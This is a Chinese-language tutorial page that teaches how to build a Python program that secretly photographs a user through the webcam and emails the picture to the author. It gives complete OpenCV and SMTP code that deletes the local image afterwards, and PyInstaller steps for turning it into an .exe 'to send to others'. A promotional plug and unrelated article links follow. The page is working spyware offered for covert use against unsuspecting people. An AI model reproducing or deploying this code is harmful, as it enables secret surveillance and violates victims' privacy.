教你用Python做一个属于自己的窃取摄像头照片的软件 。
需要安装python3.5以上版本 , 在官网下载即可 。
然后安装库opencv-python , 安装方式为打开终端输入命令行 。
可以在使用pip的时候加参数-i
https://pypi.tuna.tsinghua.edu.cn/simple , 这样就会从清华这边的镜像去安装需要的库 , 会快很多 。
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
具体的代码以及相应的注释如下 , 你只需要更改收件人和发件人为自己的邮箱 , 更改授权码 , 再编译成可执行文件 , 即把.py打包成.exe , 这样就可以发给别人用啦 。
import os# 删除图片文件import cv2# 调用摄像头拍摄照片from smtplib import SMTP_SSL# SSL加密的传输协议from email.mime.text import MIMEText# 构建邮件文本from email.mime.multipart import MIMEMultipart# 构建邮件体from email.header import Header# 发送内容# 调用摄像头拍摄照片def get_photo():cap = cv2.VideoCapture(0)# 开启摄像头f, frame = cap.read()# 将摄像头中的一帧图片数据保存cv2.imwrite('image.jpg', frame)# 将图片保存为本地文件cap.release()# 关闭摄像头# 把图片文件发送到我的邮箱def send_message():# 选择QQ邮箱发送照片host_server = 'smtp.qq.com'# QQ邮箱smtp服务器pwd = '****************'# 授权码from_qq_mail = 'QQ@qq.com'# 发件人to_qq_mail = 'QQ@qq.com'# 收件人msg = MIMEMultipart()# 创建一封带附件的邮件msg['Subject'] = Header('摄像头照片', 'UTF-8')# 消息主题msg['From'] = from_qq_mail# 发件人msg['To'] = Header("YH", 'UTF-8')# 收件人msg.attach(MIMEText("照片", 'html', 'UTF-8'))# 添加邮件文本信息# 加载附件到邮箱中SSL 方式加密image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')image["Content-Type"] = 'image/jpeg'# 附件格式为图片的加密数据msg.attach(image)# 附件添加# 开始发送邮件smtp = SMTP_SSL(host_server)# 链接服务器smtp .login(from_qq_mail, pwd)# 登录邮箱smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())# 发送邮箱smtp.quit()# 退出if __name__ == '__main__':get_photo()# 开启摄像头获取照片send_message()# 发送照片os.remove('image.jpg')# 删除本地照片
获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保 , 即可获取到16位授权码 。
文章插图
文章插图
文章插图
文章插图
如果大家在学习中遇到困难 , 想找一个python学习交流环境 , 可以加入我们的python裙 , 关注小编 , 并私信“01”即可进裙 , 领取python学习资料 , 会节约很多时间 , 减少很多遇到的难题 。
打包方法:
1. 先安装pyinstaller , 在终端中输入pip install pyinstaller即可 。
2. 找路径 , 用cd法找路径比较麻烦 , 这里推荐一种简便的方法 , 直接在路径框里面输入cmd进入终端即可 , 进入了就是目标路径 。
文章插图
3. 打包 , 输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件 。
文章插图
在dist文件夹里面即可找到可执行文件 。
文章插图
文章插图
最后实验一下 , 会得到一个bin后缀的附件 , 把他改成jpg即可查看 。
文章插图
【你的摄像头可能被入侵!教你用Python实现窃取摄像头照片】
推荐阅读
- 海底最神秘的动物 世界上最可怕的海洋动物
- 音响背后的接口你都了解吗?换个口可能不只听个响!
- 果皮泡水喝有什么功效,陈皮泡水喝有什么功效
- 喝什么花茶可以减肥美容,喝什么花茶可以祛斑
- 宇宙最可怕的行星 最诡异的行星
- 人体全身血管能绕地球多少圈 人体的毛细血管可绕地球几圈
- 宇宙中是否存在外星生命 宇宙里哪个星球上可能存在外星人
- 机器|越剪越时尚发型18款,无论长短都很心动,剪完你也可以变美女
- 任天堂|任天堂Switch OLED发布最新电视广告 “你的老婆”新垣结衣出演
- 脚背肿痛怎么办?